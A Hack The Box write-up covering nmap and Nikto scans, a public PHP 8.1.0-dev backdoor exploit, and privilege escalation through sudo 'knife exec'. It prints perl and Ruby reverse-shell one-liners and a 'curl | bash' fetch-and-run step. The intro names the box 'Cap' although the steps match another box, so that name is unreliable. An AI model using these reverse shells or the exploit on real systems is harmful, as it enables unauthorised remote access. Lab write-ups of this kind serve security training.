2 minute read

There are spoilers below for the Hack The Box box named Cap. Stop reading here if you do not want spoilers!!!


I began the same as always, with an nmap scan

# Nmap 7.91 scan initiated Fri Jun 11 13:42:53 2021 as: nmap -sC -sV -oA nmap/knife
Nmap scan report for
Host is up (0.090s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_  256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title:  Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 11 13:43:12 2021 -- 1 IP address (1 host up) scanned in 18.50 seconds

Browsing to port 80, there doesn’t appear to be much on it. Running Nikto to see if anything interesting pops up

$ nikto -host
- Nikto v2.1.6
+ Target IP:
+ Target Hostname:
+ Target Port:        80
+ Start Time:         2021-06-11 13:45:33 (GMT-4)
+ Server: Apache/2.4.41 (Ubuntu)
+ Retrieved x-powered-by header: PHP/8.1.0-dev
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ 7863 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time:           2021-06-11 13:56:18 (GMT-4) (645 seconds)
+ 1 host(s) tested

That’s something interesting, a dev version of PHP, doing a little google search reveals exploit-db 49933.

Running it instantly gives a stateless interactive shell!

$ python3 49933.py
Enter the full host url:

Interactive shell is opened on 
Can't acces tty; job crontol turned off.
$ whoami

Crafting a simple perl reverse shell

$ cat rshell.pl
perl -e 'use Socket;$i="";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

And piping that through bash

$ curl | bash

Success! We now have an ok interactive shell!


After a big of looking around, it turns out that we can execute the knife programs as root. Exploring the help, there’s a very interesting line

knife exec [SCRIPT] (options)

We can execute commands commands? Well that seems nice. After playing with this a bit, it turns out that it’s allows execution of Ruby scripts. So I crafted a little Ruby reverse shell as follows:

$ cat rshell.rb
exec("perl -e 'use Socket;$i=\"\";$p=9001;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'")

Copied it over to the server and executed it with the knife program

$ wget
$ sudo knife exec /tmp/rshell.rb

And catching that reverse shell gives us root!!